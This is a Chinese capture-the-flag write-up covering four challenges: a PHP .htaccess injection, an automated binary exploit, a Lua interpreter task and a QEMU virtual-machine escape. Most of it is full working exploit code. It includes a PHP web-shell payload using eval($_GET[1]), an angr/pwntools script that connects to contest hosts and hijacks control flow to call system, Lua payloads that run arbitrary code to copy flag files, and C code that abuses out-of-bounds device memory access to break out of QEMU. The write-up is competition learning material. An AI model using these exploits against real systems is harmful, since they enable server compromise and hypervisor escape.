题目质量好高，题目好评
题目描述
ezphp php for beginner.
hint: no race condition
题目环境：apache+php
题目源码：
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
有两次unlink，而且文件名不允许/的存在，所以想要避开unlink的删除，是基本不可能的了。
前面在内容限制了很多字符，之后查文档，发现字符几乎全部来自.htaccess 和 .user.ini 这两个可用来getshell的方法当中，查询新的可利用字段也没有得到什么好的点子。
所以问题就又回到了对 stristr 函数过滤掉的字符的bypass上来（正则实在过不去....，也没办法把这个函数给dis掉）
所以根据码代码时的换行符以及连接符可以联想构造出如下payload来getshell
php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20var_dump(eval($_GET[1]));?>\\
最终执行命令得到flag
题目描述
nc 117.50.100.23 42353
增加nc 117.50.93.78 10001
hints:
1) Search the strings carefully and we see the shining target through the fog of interesting tricks.
2) we have edited some logic of the rop.
题目解答
程序有大概20个switch case，并且其中有嵌套循环，每个switch case只有一条正确出路，判断一下重复地址即可。最后有个栈溢出，覆盖地址为lea rdi,'/bin/cat flag'处执行system即可。
脚本如下：
import angr
from pwn import *
from z3 import *
import hashlib
import base64
import os
import binascii
def get_md5(s):
m = hashlib.md5()
m.update(s)
return m.hexdigest()
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0').encode('utf-8'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
log.info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
log.success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
magic_num = 0x180
def get_end(addr):
for i in range(addr,addr+magic_num):
#print(elf.read(i,3))
if elf.read(i,3) == b"\x90\xc9\xc3":
#print('find end :%s'%hex(i))
return i
raise('not find end!')
def get_jmp_rax(addr):
for i in range(addr,addr-magic_num,-1):
if elf.read(i,2) == b'\xff\xe0':
#print('find jmp rax :%s'%hex(i))
return i
return None
def get_all_switch(addr):
the_end = get_end(addr)
the_jmp_rax = get_jmp_rax(the_end)
res = []
aid = 0
for i in range(the_jmp_rax,the_end):
ins = elf.read(i,5)
if ins == b'\xb8'+b'\x00'*4:
aid += 1
next_addr = (i+10+u32(elf.read(i+6,4)))&0xffffffff
if next_addr not in all_switch and next_addr not in all_no_use:
node = cfg.get_any_node(next_addr)
if node.successors[0].addr != 0x400900: #plt_exit
res.append((next_addr,aid))
return res
def check(addr):
node = cfg.get_any_node(addr)
suc = node.successors
if suc[0].addr == 0x4008b0: # &
return 0
return 1 # ^
def deal_check(addr,op=None):
#print(hex(addr)+' '),
if check(addr) == 0:
#print('calc')
num1 = ord(elf.read(addr+0x7c,1))
num2 = ord(elf.read(addr+0x8e,1))
num3 = ((num1*num2)&(num1+num2))&0xff
if op == None:
op = 0x61
return bytes((num1,num2,num3,op,10))
else:
#print('random')
data = io.recv(8)
data = u64(data)
print(hex(data))
num = u64(elf.read(addr+0x29+2,8))
print(hex(num))
x = BitVecs('x',64)[0]
solver = Solver()
solver.add( ((x << 39)^num*(x >> 25)) == data )
solver.check()
res = solver.model()
num = res[x]
if op == None:
op = 0x61
return p64(num.as_long())+bytes((op,10))
filename = './aeg_0'
io = remote('117.50.93.78', 10001)
io.recvuntil('Start Pow\n')
the_md5 = io.recvuntil('\n',drop=True)
data = io.recvuntil('\n',drop=True)
print(data)
prefix = binascii.a2b_hex(data[:-1])
st = int(data.decode('utf-8')[-1],16)<<4
print(hex(st))
found = 0
for a in range(st,st+0x10):
if found:
break
for b in range(0x100):
if found:
break
for c in range(0x100):
tmp = prefix + bytes((a,b,c))
calc = get_md5(tmp)
#print(type(calc))
#print(the_md5)
if calc == the_md5.decode('utf-8'):
#print(binascii.b2a_hex(tmp))
io.sendline(binascii.b2a_hex(tmp))
found = 1
break
if found == 0:
print("not found hash!!")
exit()
token = 'icqd741eeee3154b1c8fc866fe18e468'
io.sendlineafter('token:',token)
io.recvuntil('Start:\n')
binary_b64 = ''.join(io.recvuntil('End.\n',drop=True).decode('utf-8').split('\n'))
#print binary_b64
binary_b64 = base64.b64decode(binary_b64)
#print hex(len(binary_b64))
with open('aeg_0.tar.xz','wb') as f:
f.write(binary_b64)
f.close()
os.system('xz -d aeg_0.tar.xz;mv aeg_0.tar aeg_0;chmod +x aeg_0')
elf = ELF(filename)
p = angr.Project(filename,load_options={'auto_load_libs': False})
cfg = p.analyses.CFGFast()
aid = 0
for addr,b in cfg.kb.functions.items():
aid += 1
if aid == 133:
main_addr = addr
print('main_addr found! at %s'%hex(main_addr))
break
aid = 0
for addr,b in cfg.kb.functions.items():
aid += 1
if aid >= 133:
break
if aid >= 18 and aid < 133:
#print(hex(addr))
start_node = cfg.get_any_node(addr)
pre = start_node.predecessors
if len(pre) > 0:
if pre[0].addr - 0xf1 == main_addr:
print('start_node found! at %s'%hex(start_node.addr))
break
#tmp_elf = change_ld(filename,'./ld-2.27.so')
#io = tmp_elf.process(env={'LD_PRELOAD':'./libc.so.6'})
#context.log_level='debug'
#context.terminal = ['tmux', 'split', '-h']
#gdb.attach(io)#,"b *0x4BFB070")
#input()
#context.log_level='debug'
io.recvuntil('Start.\n')
ans = b""
tmp = deal_check(start_node.addr)
print('++++++++++++++++++')
io.send(tmp)
the_end = get_end(start_node.addr)
start_node_next = (the_end-0x11+5+u32(elf.read(the_end-0x10,4)))&0xffffffff
print('start_node_next :%s'%hex(start_node_next))
all_no_use = []
all_switch = []
all_switch.append(start_node_next)
all_next_switch = get_all_switch(start_node_next)
#print(all_next_switch)
for next_switch,switch_num in all_next_switch:
the_end = get_end(next_switch)
the_jmp_rax = get_jmp_rax(the_end)
if the_jmp_rax == None:
all_no_use.append(next_switch)
else:
real_next_switch = next_switch
tmp = deal_check(start_node_next,op=0x60+switch_num)
ans += tmp
io.send(tmp)
all_switch.append(real_next_switch)
#print(all_switch)
#print(ans)
for i in range(18):
all_next_switch = get_all_switch(real_next_switch)
tmp_no_use = []
#print(all_next_switch)
for next_switch,switch_num in all_next_switch:
check_next = get_all_switch(next_switch)
if len(check_next) < 4:
tmp_no_use.append(next_switch)
else:
tmp = deal_check(real_next_switch,op=0x60+switch_num)
ans += tmp
io.send(tmp)
real_next_switch = next_switch
all_switch.append(real_next_switch)
all_no_use.extend(tmp_no_use)
if len(all_no_use) > 3:
all_no_use = all_no_use[-3:]
if len(all_switch) > 3:
all_switch = all_switch[-3:]
print(hex(real_next_switch))
all_next_switch = get_all_switch(real_next_switch)
for next_switch,switch_num in all_next_switch:
try:
check_next = get_all_switch(next_switch)
except:
tmp = deal_check(real_next_switch,op=0x60+switch_num)
io.send(tmp)
real_next_switch = next_switch
print(hex(real_next_switch))
context.log_level='debug'
tmp = deal_check(real_next_switch,op=0x77)
io.send(tmp)
eval_addr = cfg.get_any_node(0x400890).predecessors[0].addr
print('eval_addr :%s'%hex(eval_addr))
#print(len(ans))
#print(ans)
#io.recvuntil('Congratulation')
sleep(0.1)
io.send(p64(eval_addr)*4)
io.interactive()
0x03 ls
题目描述
there are two flags in the form of xnuca{…}. Please submit the concatenation of the two string between the brackets (brackets not included). E.g. if t
he first flag is xnuca{here_is_flag1}, the second flag is xnuca{here_is_flag2}, please submit: here_is_flag1here_is_flag2.
NOTICE: The following host port isn't this program's service.
nc 4438af7809b0.gamectf.com 9901
nc 55a11bac354f.gamectf.com 9901
题目解答
首先把题目逆一下，发现逻辑是非常简单的，但是二进制里面实际上带了一个lua解释器，真正需要看的是lua代码，代码就在程序里面，但是做了压缩，blzpack，搜一下就可以知道怎么解压拿到代码，我是直接等程序解压完，从内存里读出来的，一共有一万多行，关键部分如下。
-- do reverse
if req_method == "POST" and req_headers:get("referer") == 'xnuca' then
local cl = req_headers:get("content-length")
local x = tonumber(stream.connection:read_body_by_length(tonumber(cl)))
local res = (secret + x ) < (secret - 3 * x) and 1 or 0
res_headers:upsert(":status", "201")
res_headers:append("content-type", "text/plain")
assert(stream:write_headers(res_headers, false))
stream:write_chunk(tostring(res)..'\n',false)
for i = 0,255,1
do
stream:write_chunk('number?'..'\n',false)
local tmp = stream.connection:read_body_by_length(2)
local num_of_digits = tonumber(tmp)
if num_of_digits == -1 then break end
local new_x = tonumber(stream.connection:read_body_by_length(num_of_digits))
calc_oracle(new_x)
end
stream:write_chunk('did you get the secret?'..'\n',false,5)
local num_of_digits = tonumber(stream.connection:read_body_by_length(2))
stream:write_chunk('your guess?'..'\n',false,5)
local ans = tonumber(stream.connection:read_body_by_length(num_of_digits))
if ans == secret then
stream:write_chunk("correct, here is your flag 1:\n")
re_flag=io.open("flag1.txt",'r')
tmp=re_flag:read "*a"
stream:write_chunk(tmp)
elseif ans > secret then
print(secret,ans)
stream:write_chunk("nope.")
return
else
stream:write_chunk("nope.")
return
end
end
-- do pwn
if req_method == "POST" and req_headers:get("referer") == "xnuca" and req_headers:get("user-agent") == 'ww9210' then
local body_length = tonumber(stream.connection:read_body_by_length(4))
local body = stream.connection:read_body_by_length(body_length)
-- print(cl,body)
hex_dump(body)
x = load(body)
x()
return
end
这样看来就很明确了，先做一个逆向，猜出 secret
得一个flag，再任意代码执行，获取另一个flag。
关于逆向，需要利用lua的整数溢出特性，利用二分法来找一个临界值，进而算出可能的 secret 值，这里就比较坑了，我的方法实测成功率约20%；关于任意代码执行，也比较坑，首先需要列目录，将结果放到 work_dir 里，再去读flag文件。
此外还要写个申请docker的程序。
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def crack(s):
chrset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEF'
for c1 in chrset:
for c2 in chrset:
for c3 in chrset:
for c4 in chrset:
for c5 in chrset:
test = c1 + c2 + c3 + c4 + c5
if sha256sumhex(test) == s:
return test
error('fail to crack hash: {}'.format(s))
# 申请docker
ctx.remote = ('55a11bac354f.gamectf.com', 9901)
rs('remote')
sla('token', 'icqd741eeee3154b1c8fc866fe18e468')
ru('== \'')
some_hash = ru('\'')
sla('is :', crack(some_hash))
r()
# 申请完自己填ip端口什么的
def toluaint(i):
i = i & 0xffffffffffffffff
if i > 0x8000000000000000:
return -(0x10000000000000000 - i)
else:
return i
def http_packet(content, ua='test'):
packetfmt = '''POST / HTTP/1.1\r
Content-Length: {}\r
Content-Type: text/html\r
Connection: keep-alive\r
Accept: */*\r
Referer: xnuca\r
User-Agent: {}\r
\r
{}\r
'''
return packetfmt.format(len(content)+2, ua, content)
def getresult(x):
ctx.clean()
length = len(hex(x))
s(length)
s(hex(x))
ru('2\r\n')
result = ru('\n')
if result == '1':
return True
elif result == '0':
return False
else:
error('error result:{}'.format(result))
def crack():
a = 0
min = 0x8000000000000000
max = 0x10000000000000000
while True:
x = (max + min) / 2
print('count:', a)
#print('max:', max)
#print('min:', min)
#print('mid:', x)
if (max == min+1):
break
if(getresult(x)):
max = x
else:
min = x
a += 1
print('possible result from \n{}\nto\n{}\n'.format(
hex(toluaint(min*3)+0x8000000000000000),
hex(toluaint(max*3)+0x8000000000000000)))
return hex(toluaint(min*3)+0x8000000000000000)
ctx.remote = ('117.50.64.144', 26544)
#ctx.remote = ('localhost', 8000)
rs('remote')
s(http_packet('1', ua='ww9210'))
context.log_level = 'info'
min_val = crack()
context.log_level = 'debug'
s(-1)
sa('did you get the secret', len(min_val))
sa('your guess', min_val)
ru('\r\n')
msg_len = int(ru('\r\n'), 16)
msg = r(msg_len)
ru('\r\n')
if 'flag 1' in msg:
success('get flag1')
else:
error('no flag1')
flag1_len = int(ru('\r\n'), 16)
flag1 = r(flag1_len)
ru('\r\n')
payload = '''
require 'lfs'
function getpaths(rootpath, pathes)
pathes = pathes or {}
for entry in lfs.dir(rootpath) do
if entry ~= '.' and entry ~= '..' then
local path = rootpath..'/'..entry
local attr = lfs.attributes(path)
assert(type(attr) == 'table')
if attr.mode == 'directory' then
getpaths(path, pathes)
else
table.insert(pathes, path)
end
end
end
return pathes
end
f=io.open("./work_dir/path", 'w')
pathes = {}
getpaths('.', pathes)
for i = 1, #(pathes) do
f:write(pathes[i])
f:write(' ')
end
f:close()
'''
payload2 = '''
function common_copy(sourcefile,destinationfile)
local temp_content ="";
io.input(sourcefile)
temp_content = io.read("*a")
io.output(destinationfile)
io.write(temp_content)
io.flush()
io.close()
end
common_copy("./flag009d9713831dca08e944ed901aede7f1.txt", "./work_dir/test")
'''
# 这里就先发payload，等拿到flag文件名，再发payload2
s(str(len(payload2)).ljust(4, ' '))
s(payload2)
ctx.recvall()
题目描述
user: root
pass: goodluck
Try to escape the QEMU world!
nc 35f56326858b.gamectf.com 30007
增加 nc ec3247983443.gamectf.com 30007
题目解答
利用ioportwrite将opaque->memorymode设为1，就可以通过设置opaque->req.offset，在vexx_cmb_write以及vexx_cmb_read函数中对opaque->req.req_buf进行越界读写，由于该buf后存在一个timer结构体，可以利用越界读获取堆地址以及程序基址。然后利用越界写将timer结构体中的cb覆盖为system地址，opaque覆盖为参数地址，最终触发timer，拿到flag：flag{SOEASY_Escape_qemu_from_timer}
Exp 如下：
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;
unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
uint8_t mmio_read(uint32_t addr)
{
return *((uint8_t*) (mmio_mem+addr));
}
void mmio_write(uint32_t addr, uint8_t value)
{
*( (uint32_t *) (mmio_mem+addr) ) = value;
}
uint8_t cmb_read(uint32_t addr)
{
return *((uint8_t*) (cmb_mem+addr));
}
void cmb_write(uint32_t addr, uint8_t value)
{
*( (uint8_t *) (cmb_mem+addr) ) = value;
}
void pmio_write(uint32_t addr, uint32_t value)
{
outb(value,addr);
}
uint8_t pmio_read(uint32_t addr)
{
return (uint32_t)inb(addr);
}
void set_offset(uint32_t value)
{
pmio_write(pmio_base+0x10, value);
}
void set_memorymode(uint32_t value)
{
pmio_write(pmio_base+0x0, value);
}
uint8_t arbitrary_read(uint32_t offset)
{
set_offset(offset);
return cmb_read(0x100);
}
void arbitrary_write(uint32_t offset, uint8_t value)
{
set_offset(offset);
cmb_write(0x100, value);
}
void normal_write(uint32_t offset, uint8_t value)
{
set_offset(offset);
cmb_write(0x0, value);
}
int main(int argc, char *argv[])
{
//step 1 mmap /dev/mem to system, (man mem) to see the detail
system( "mknod -m 660 /dev/mem c 1 1" );
//step2 map the address to fd
mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );
if ( !cmb_mem ) {
die("mmap cmb mem failed");
}
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
set_memorymode(1);
uint64_t heap_addr=0,tmp;
uint32_t i;
for (i=0;i<8;i++) {
tmp = arbitrary_read(0x40+i);
heap_addr=heap_addr+(tmp<<(i*8));
}
printf("leaking heap address: 0x%lx\n",heap_addr);
uint64_t pro_addr=0;
for (i=0;i<8;i++) {
tmp = arbitrary_read(0x38+i);
pro_addr=pro_addr+(tmp<<(i*8));
}
printf("leaking pro address: 0x%lx\n",pro_addr);
uint64_t pro_base= pro_addr-0x4DCF10;
uint64_t system_plt=pro_base+0x2AB860;
char *para="ls&&cat ./flag";
for(i=0; i< strlen(para); i++) {
normal_write(0x0+i,para[i]);
}
uint64_t para_addr=heap_addr+0xb90;
for(i=0; i<8; i++) {
arbitrary_write(0x38+i,((char*)&system_plt)[i]);
}
for(i=0; i<8; i++) {
arbitrary_write(0x40+i, ((char*)¶_addr)[i]);
}
mmio_write(0x98,1);
}
